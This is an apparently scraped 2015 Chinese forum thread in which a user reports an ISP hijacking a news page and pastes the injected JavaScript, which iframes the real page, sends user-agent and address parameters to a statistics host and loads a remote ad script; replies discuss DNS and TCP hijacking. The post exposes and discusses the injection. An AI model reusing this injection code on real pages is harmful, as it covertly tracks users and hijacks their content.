AdvertCN - 广告中国

用户名  找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G需要代理IP?⚡️Proxysites.ai⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
FB BM不限额,短id账单户E.PN 虚拟卡DuoPlus专注打造跨境电商云手机BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户9Proxy ⚡️ $0.04/IP, 无限带宽
IPCola原生住宅IP⚡️$2.1/条双ISPGoogle、Bing官方总代  联盟流量开户fb耐用号0.01一个fb账号官方合作商
FB企业户BM户账单户源头试试Mybid的顶级广告模式Mybid让你的流量赚更多的钱全球超2亿的动/静态纯净住宅IP
GeeLark 最强云手机+指纹浏览器Facebook/TikTok24h免费开户服务招exoclick/TJ等国际联盟代投运维 火云指纹浏览器⚡️10个环境免费⚡️
IPWO全球住宅代理⚡️免费测试⚡️FB海外三不限-户源多 费率低谷歌+Bing+TT+MSN官方代理广告位出租
查看: 8279|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
SimplyNode
本帖最后由 hudba 于 2015-2-3 00:56 编辑 - o6 Z2 B; l* T' C
% o. p7 p5 H) b  p9 O2 `
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
* H* n* x/ F; y1 H4 F) N8 U
: m: P2 q# D- x) U' t1 t* E接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}/ e  N- e* l( `) y1 h; V
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
. r8 N0 O7 \2 s% u9 J) c- U

8 H5 l' T* n  m+ G8 v5 t顺便查下ip138:
* z! E* F# h( _5 M3 N2 K0 e* S0 a# |' v  V5 ?. I
这是那段js里面的代码,好象是个半成品还没写入广告数据:
5 q/ r9 D" G0 Y$ r) q+ ^
  1. function locationSearch() {
    ) E( w8 ?3 s4 S2 c8 g8 \) s
  2.         var s = getMainJs();
    $ s; b% R9 n7 a: v+ O! R
  3.         if (s == null) {
    ; X, h+ b9 N" g, ]7 C$ Z2 |
  4.                 location.reload();
    : J2 h8 h8 V3 W% z
  5.         }# Q  F1 d; w$ f/ B
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);, x9 c, W$ Y  }4 }0 i$ l0 K( v8 E
  7. }
    / \" E9 T0 M  p5 P( n
  8. , h5 A! x. S8 h$ n
  9. function getParameter(name, paraStr) {7 e1 N- Y+ [' e- d# v7 ?1 o
  10.         var result = "";7 z% y+ R+ }! r* U& u, D& `
  11.         var str = "&" + paraStr.split("?")[1];
    $ s" n8 l. K6 c, L( h
  12.         var paraName = "&" + name + "=";7 d4 e/ K+ N1 b" j) M
  13.         if (str.indexOf(paraName) != -1) {
    6 P" i9 c" G+ C+ g" g' D" V! D
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {) U# S9 E- B& M, K2 s. n
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);) H& b& c9 Z7 }
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(0 n6 v6 _' b1 W, |$ V9 {- R
  17.                                         1, TmpStr.length).indexOf("&")
    % I1 d; d" l8 ~- N
  18.                                         - TmpStr.indexOf(paraName) + 1);) \6 |( [$ }1 l' f) m: \9 ]
  19.                 } else {
    % N6 k2 b, y6 j+ L% b1 Y" ~0 F
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    ( @4 O& N2 L: [( I
  21.                 }. r; O3 E( U3 b/ m( S

  22. 9 ~3 A2 v) S# X" f2 J+ O. A
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);4 Z+ l+ m2 z8 p
  24.         } else {- H& o( T* f$ ?) `
  25.                 result = "No such parameter";/ j" F4 w4 {  C% n% `- m: E$ }& h
  26.         }) R) C0 |' y. {
  27.         return (result.replace("&", ""));
    : X7 N+ p& ]3 Z8 P7 u* S
  28. }0 }9 A% L/ _3 n9 e' E" W/ {

  29. # h( ]% _1 h8 E2 l4 M! H: k
  30. function getMainJs() {" q! R5 W' l: L7 c: F+ @
  31.         var scripts = document.getElementsByTagName("script");
    % @; _, ~, w3 U8 l
  32.         var s = null;
    8 V1 u/ [$ F$ j! f
  33.         for (var i = 0; i < scripts.length; i++) {$ ~: R% _! b9 D$ O* Z" z. Z
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + @' ^4 w; E' H. v3 u8 Q3 v  e
  35.                         s = scripts[i];
    7 |! s* @3 K$ P
  36.                         break;
    ) H6 z& }; a2 ?3 o$ b
  37.                 }$ {: L- ~  j7 ]# g/ h
  38.         }
    4 c+ H" r- o0 A) W2 \
  39.         return s;# r# ]  @( ]8 p# y# U* m# w
  40. }  ^4 T8 e3 x9 T2 |5 x, n" x8 J

  41. : |5 Z0 }3 Q) q5 U, z
  42. function appendParam(oStr, aStr) {
    3 }1 L7 _, A  M# L& X3 |, L2 m
  43.         if (oStr.indexOf('?') > 0) {
    ! M8 C2 I! T" X' p
  44.                 oStr = oStr + "&" + aStr;8 C" \! G& }% f/ `. }
  45.         } else {6 r$ O6 N6 F! p) }5 e) K9 h! ?
  46.                 oStr = oStr + "?" + aStr;
    ( F; @/ a  D& m0 Q! |) T# \3 s
  47.         }3 I, {- C& {5 t0 c0 P: `
  48.         return oStr;
    * Z9 ^  Z) w3 ~7 I0 a! J
  49. }3 X0 |# O1 S! J- R( D% ^" c5 h, m, s
  50. * x/ I/ d3 |8 E/ ~
  51. window.onerror = function() {
    + Q! v( `' C$ E0 u8 _' z
  52. };
    6 q2 n" _! C6 L, F- V" S& V& e
  53.   |# S0 a1 x4 G# A& p% C
  54. var g_titleTime = 0;! b/ {+ ^% r: P6 u1 q9 a3 n
  55. function setTcTitle() {' @" L4 h9 {9 @
  56.         if (undefined == document) {: `1 e4 F5 _( s( _. D5 H
  57.                 g_titleTime++;3 \5 N# w+ X) y% b' p3 O
  58.                 setTimeout("setTcTitle();", 1000);
    2 n7 X1 [+ b3 s) d
  59.                 return;
    * }3 V8 Y8 J( K6 Z+ ~0 T
  60.         }
    . W7 S: A# Z; ?. _+ K3 _
  61. + B1 t+ E5 K6 P; m7 D
  62.         var doc;9 p# L+ }2 e5 i$ u* J
  63.         try {
    5 i1 o( s& A% m/ I. ^, J
  64.                 if (document.all) {  g. p* |8 {4 A$ I/ i& l! H3 T+ R
  65.                         doc = document.frames["cn"].document;( X$ Z" O9 t5 j" f5 d
  66.                 } else {
    1 \1 z8 _" D3 [5 u6 w
  67.                         doc = document.getElementById("cn").contentDocument;1 F& f! q* `4 n9 c, m
  68.                 }, o% d. f1 Z, X" v; k8 C. T1 K
  69.         } catch (ex) {
    3 B! k( ~) B. p: @0 ~- h9 ?
  70.         }. B7 f: L: B; m% ~/ v, F# d+ u  t

  71. 0 W/ c7 y, w5 T6 H! _- a& j
  72.         if (g_titleTime < 5
    6 B7 G& N+ _  ?# W! s8 ~9 I
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    ; `- R& W& z- \5 m: Q
  74.                 g_titleTime++;- A1 ]2 d& l! C% C1 O
  75.                 setTimeout("setTcTitle();", 1000);6 i8 x# i  \7 `+ ~
  76.                 return;9 L2 p- \6 p/ L) c7 c& ^1 H
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ; G0 @: d  O' M+ M2 {% [& y
  78.                 document.title = doc.title;
    7 ]6 M  V3 U* X3 X% a6 S
  79.                 setTcAdvVisible();: v9 {; K" @( t& }% H
  80.         }
    % Z* m( x! C/ [' T% a. t/ C  N
  81. }) P1 l+ q; C) M( J0 q  }$ N
  82. 6 ]0 J7 K3 c" z, M
  83. setTimeout("setTcTitle();", 1000);- p7 _. S5 {; [6 ?! G/ v) C3 ^
  84. ; |+ i- Z# W0 O, ~* ]
  85. var g_isHaveVisible = false;
    ) m  a( ?+ d; L  ]0 T
  86. function setTcAdvVisible() {7 i: \1 W) S( `$ D' j. B8 g
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    ! M) I6 D0 p' x
  88.                         && !g_isHaveVisible) {! a0 z4 C# m2 [) d" S, T
  89.                 document.getElementById("addiv").style.visibility = 'visible';7 A& \% h) C5 t1 x3 v/ `" ]2 H1 D# j) H
  90.                 document.getElementById("addiv").style.display = 'block';
    # X" J* }, d8 p
  91.                 g_isHaveVisible = true;# G7 t; O; l/ P7 ^2 G0 Y
  92.         }0 z+ [! P) `! e, Y" v6 j6 e
  93. }
    6 g5 x& ~0 y# u" q& W

  94. 8 f$ ]9 i6 a, ~) A" `4 O1 @
  95. function UrlAnalyzer() {" O' b5 \( h9 T8 G3 n( S- _
  96.         this.divda = "";
    0 G1 m. z9 L9 l7 e3 y- a
  97.         this.tctype = "";
    3 G7 Y! ?4 A7 _& e- ^) C' q
  98.         this.radius = "";' G7 E4 Y$ v  g9 c( K. A+ l
  99.         this.rlu = "";
    $ |% M; ~6 ~% e8 A) L* k! Y
  100. }" p2 J8 p0 c; ]4 j2 f

  101. 2 {, e9 X! y% L9 l
  102. UrlAnalyzer.prototype.initParameters = function() {) U# R5 g0 e& h+ n; [5 v; ^
  103.         var paraStr = locationSearch();* X! J5 K6 ~! @
  104.         this.rlu = getParameter("lruedct", paraStr);
    0 w) k; d2 I. ?1 b( g! L5 C
  105.         this.divda = getParameter("divda", paraStr);
    3 q5 \0 n7 Z6 s9 w4 ], Y6 n
  106.         this.radius = getParameter("radius", paraStr);8 a1 o6 |) @% Y: z  l
  107.         this.tctype = getParameter("tctype", paraStr);3 p; G" d2 P( E+ T9 [' t- U
  108.         this.address = getParameter("address", paraStr);
    0 @! G& w# d6 H0 j
  109.         this.usagent = getParameter("usagent", paraStr);
    8 a! Z1 \# [' c
  110. }
    . ]* A2 F# \1 X$ T. x

  111. + X  w. H  t( Z( q/ N. e% k
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    ! [7 R2 W1 s9 H$ J
  113.         var doc;8 y; d/ w8 [: b: Q8 f0 R" X
  114.         try {4 _* b- b) \5 k) W# G$ T0 o  V
  115.                 if (document.all) {
    ' C9 x4 [; w$ F' ^: ?
  116.                         doc = document.frames["cn"].document;
    ! ^( Q8 z7 K6 m" S- E9 m# V8 ?
  117. ; L: |8 R1 m/ u" |
  118.                 } else {# O$ W* Q- C6 b' B$ q: A+ |8 Q1 H+ V8 s
  119.                         doc = document.getElementById("cn").contentDocument;5 y4 v; V7 }( W9 d6 G& s
  120.                         // doc = document.getElementById("cn").contentWindow.document;! H: o) e" d+ |0 T0 t
  121.                 }9 Y% @/ V, h+ [* ?
  122.         } catch (ex) {% G4 E5 b# Q7 s' j2 o
  123.         }6 Y  ~# v+ [: l. O( `2 T
  124.         return doc;% e7 Q5 a/ f; W% u. b
  125. }0 l/ y, f" n' m1 X3 i
  126. 3 u# n& u" t" @$ q
  127. UrlAnalyzer.prototype.setDomain = function() {
    ) ]0 T' y3 g  }8 s7 c. l
  128.         if (undefined != document.title && "" == document.title)
      @. `* x$ W# L  e# p
  129.         {& O& S& \" P, O
  130.                 var index = document.domain.indexOf(".");
    1 d/ X. P) l) r7 @* o  X# I1 _, d
  131.                 if (undefined != index && -1 != index) {/ U9 Y/ p/ {6 O: H2 L" J2 C) X
  132.                         document.domain = document.domain.substring(index + 1,
    + h/ d8 ]3 ]: x" N3 k; t) k
  133.                                         document.domain.length);# s8 R& E7 X1 G) i
  134.                 }, m. P1 b1 a2 n& ^
  135.                
    : e4 a8 f0 R5 X! _0 H2 o$ }/ S
  136.                 var doc = this.getHtmlDoc();6 j3 g9 J6 j( N- J* q
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    0 o" ~+ P8 d( h2 y1 d! Z
  138.                         document.title = doc.title;1 ^: ^9 I8 D# [1 y
  139.                         setTcAdvVisible();
    # F' k# r1 E. }7 a
  140.                 }  w0 f3 b* V: q2 R9 v
  141.         }
    " L* Z; J6 R4 [$ B" e
  142. }
    ! M4 a! P# A+ E% L/ y4 x5 ^# i6 m

  143. 8 y5 ?. p# z4 O, m8 ^3 l- F
  144. UrlAnalyzer.prototype.iframeCallback = function() {
    8 {1 ^& b! l; |4 [1 F" M' P! i& [9 w
  145.         var doc = this.getHtmlDoc();" z! q) W! ~/ F9 ~; i, e
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    , g) r# {; ~1 a+ ^
  147.                 if (undefined != document.domain) {
    * ]( C$ T6 `1 H

  148. / s8 u+ [0 Y8 P: T5 S) O5 t
  149.                         var self = this;! ^2 J6 O( l; n1 `# ]4 U. ^
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);, E. ?  z( v. A* x
  151.                         // var index = document.domain.indexOf(".");9 q+ i9 g$ p; o' b: u! G2 c  r' D, X% y
  152.                         // if (undefined != index && -1 != index) {
    2 C* T& X/ J! G
  153.                         // document.domain = document.domain.substring(index + 1,
      M2 x' I6 H' y4 |
  154.                         // document.domain.length);: S$ j3 p: s3 }9 k7 E4 t$ v
  155.                         // }
    * g) t2 l( w% Y$ d# s5 z8 ]9 A
  156.                         //
    - L2 O+ |1 t( f/ P9 Z8 H6 n
  157.                         // var doc = this.getHtmlDoc();# |6 g* Z. @. S7 T5 m
  158.                         // if (undefined != doc && undefined != doc.title && "" !=1 K9 r' l5 k0 K% t2 ], ^
  159.                         // doc.title) {( H# C+ p- w' X3 O; t& _
  160.                         // document.title = doc.title;3 o, a$ E0 u' O: W& D% ^
  161.                         // setTcAdvVisible();
    ; `3 K3 A  z. _# @; l% M
  162.                         // }
    6 v; H" ]* ~& Y0 z& B
  163.                 }
    * f% o6 v% `6 g. o
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {. S% M3 d0 [, P4 Z( _, j
  165.                 document.title = doc.title;
    6 w: W6 S) x2 H+ L
  166.                 setTcAdvVisible();0 {. R+ ?( z9 D  V
  167.         }
    1 M) y; n" X; j, f! v$ q# }. J
  168. }/ R3 P$ |: j7 j

  169. 4 s% t7 T5 F+ c+ I
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {+ g. ?. U3 K& {& f" Q' J, r
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    2 m) |! u7 r0 q5 d5 C1 [" R
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    - e6 V/ }# X, L; m$ |  R- `
  173. + M% _2 r" [: O  @# {
  174.         var htmlStr = "<iframe src="" + staUrl& V  F' E' e0 X9 t5 h
  175.                         + "" style="display:none"></iframe>";
    " R5 q# l4 e/ o
  176. " J2 i; g. f! h9 K8 v) ?
  177.         var advUrl = htmlStr( @& K2 t9 ?. o4 U' |8 E9 I7 @* d
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="& X1 c/ H. F3 p: `
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    ; [0 O, b$ ]" u' }4 K
  180.         document.write(advUrl);
    + f* t: P' A; E$ b9 a+ L3 V  j
  181. 0 T3 z0 w0 O1 E: l3 X% m4 g
  182.         var self = this;( q4 w/ j  Y$ l- Y' \/ S5 J- @
  183.         var iframe = document.getElementById("cn");
    ' a: q- {2 h  W. C
  184.         if (iframe.attachEvent) {6 ?7 B, D$ d) D3 s
  185.                 iframe.attachEvent("onload", function() {$ F) m! N% l. J% i4 ~) Q. J- T. W' p
  186.                         self.iframeCallback.call(self, null);
    , d4 S7 m" \0 U% a
  187.                 });
    . n& a! G/ a3 g* u6 ^- p) t3 d- o
  188.         } else {
    4 g: Z3 h4 x0 I
  189.                 iframe.onload = function() {: r7 Q8 @* Y2 N# i- \  N
  190.                         self.iframeCallback.call(self, null);
    7 i/ D; T* X  }1 g+ @
  191.                 }& ~; n3 K2 I7 \/ ]4 G
  192.         }. P% B% A: j" j( T. F" u
  193. }
      [7 _2 a3 g/ \
  194. & E$ C( _" D" H
  195. UrlAnalyzer.prototype.executeMain = function() {
    5 ]1 q1 b% V% ^& ~! M
  196.         var mainFrame = document.getElementById("cn");( C3 z/ R6 Y9 D6 o9 S
  197.         mainFrame.contentWindow.location.href = mainFrame.src;! I; \! d1 A# i5 d0 k
  198.         this.initParameters();" G8 Y8 D; y2 [5 A! M
  199.         this.executeHtmlContext();  M5 n- G! m6 R5 v' D
  200. }- `; G  w( s1 h1 T8 B6 i1 @
  201. , a1 T+ Z% C$ k+ h$ ~9 a6 d
  202. var g_analyzer = new UrlAnalyzer();
    , `# M0 R+ n3 n9 A4 k, y
  203. g_analyzer.executeMain();
    " q. c0 }# Y) x: q+ F8 ^& b
复制代码

% r7 N9 R* n+ T
. z: R0 c1 k1 G. `. s& B$ ^. p8 |; V  o' e* x- j* G8 B$ `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

举报

51

主题

449

广告币

835

积分

中级会员

Rank: 3Rank: 3

积分
835
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

举报

26

主题

346

广告币

593

积分

中级会员

Rank: 3Rank: 3

积分
593
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

举报

22

主题

1727

广告币

2023

积分

高级会员

Rank: 4

积分
2023
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49" A! y- w; Q" e/ |* O
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

$ z# x4 R& D; t1 pTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26  ^0 z  v6 F, v6 q2 k
TCP劫持,换DNS也不管用的。

; c2 C: e  H  G/ q  B0 g幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-3-18 13:35 , Processed in 0.051600 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表